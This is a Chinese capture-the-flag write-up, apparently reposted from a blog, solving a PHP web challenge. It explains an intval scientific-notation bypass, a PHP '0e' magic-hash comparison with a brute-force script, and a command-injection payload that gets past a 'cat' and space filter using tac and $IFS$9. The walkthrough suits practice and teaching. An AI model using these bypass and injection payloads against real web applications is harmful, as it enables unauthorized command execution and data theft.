打开靶机,朴实无华
找线索
左找找右找找,发现robots.txt里有东西
进入/fAke_f1agggg.php
是假的(早就预料到了)
在当前页面继续找线索,我都扫了啥都没发现,但更细致点就会发现,网络里的响应头里有个
有一说一,这个线索藏得够深,有二说二,chrome的控制台里网络区太烂了,一层一层的
进入/fl4g.php
我已经开始笑了
代码审计
就一点点读呗,不会的函数百度
绕过分为三个部分并且都是GET传值
intval函数绕过
要变量整数值小于2020,又要变量加1大于2021,一看就知道不是正常数。百度intval函数,在菜鸟教程中有下面的示例:
其中有用信息是
echo intval(1e10); // 1410065408
echo intval('1e10'); // 1
这里看出,当科学计数法作为数时输出正常的,作为字符串时输出e前面的数。那这里就可以利用科学计数法绕过。
我们就拿2e4
用吧,传入'2e4'
它会被当2比较,+1后会被PHP强制转换再比较,会比2021大。这样就可以绕过了。
payload:
?num='2e4'
失败的原因可能是,后台已经把num当字符串处理了,那我们把单引号去掉再传入
payload:
?num=2e4
第一层绕过成功
MD5绕过
一个字符串MD5加密后,前后一样,php具有弱类型,==
在进行比较的时候,会先将字符串类型转化成相同,再比较。转换的规则为,若该字符串以合法的数值开始,则使用该数值,否则其值为0。因此,根据这一点,可以遍历出一个字符串,使得进行MD5加密前是0e
开头的,MD5加密后也是0e
开头的,这样子,就能保证加密前后的值是相等==
的了
偷的脚本
#!python2
import hashlib
import re
def MD5(data):
return hashlib.md5(data.encode('utf-8')).hexdigest()
def main():
a = 100000000
while True:
data = '0e' + str(a)
data_md5 = MD5(data)
a = a + 1
if re.match('^0e[0-9]{30}', data_md5):
print(data)
print(data_md5)
break
if a % 1000000 == 0:
print(a)
if __name__ == '__main__':
main()
跑了一会,出了俩可以用的字符串,当然用短的
payload:
?num=2e4&md5=0e215962017
这就是有钱人的生活吗?
替换绕过
观察代码可知,不能有空格,有cat会被替换,而且这个变量可以被当作命令执行
于是我直接试了一下get_flag=Cat(/flag)
,果然失败,那我们先看一下目录吧
payload:
?num=2e4&md5=0e215962017&get_flag=ls
看来要读取那个很长的ffffflllllllaaaaaag
这里注意这个替换函数str_ireplace
,它不区分大小写替换,所以这里不能大小写绕过,下面的图罗列了代替cat的关键词:
经过测试发现more、head、tac、tail、nl、od、sort、uniq、file -f在我win10环境下都可以出flag,但是od二进制比较麻烦,file -f由于空格过滤还要绕过,所以不建议使用
这里我们使用tac,而且这里需要使用$IFS$9
代替空格详情戳这里
payload:
?num=2e4&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
出flag
转载:https://blog.csdn.net/qq_45619909/article/details/116079691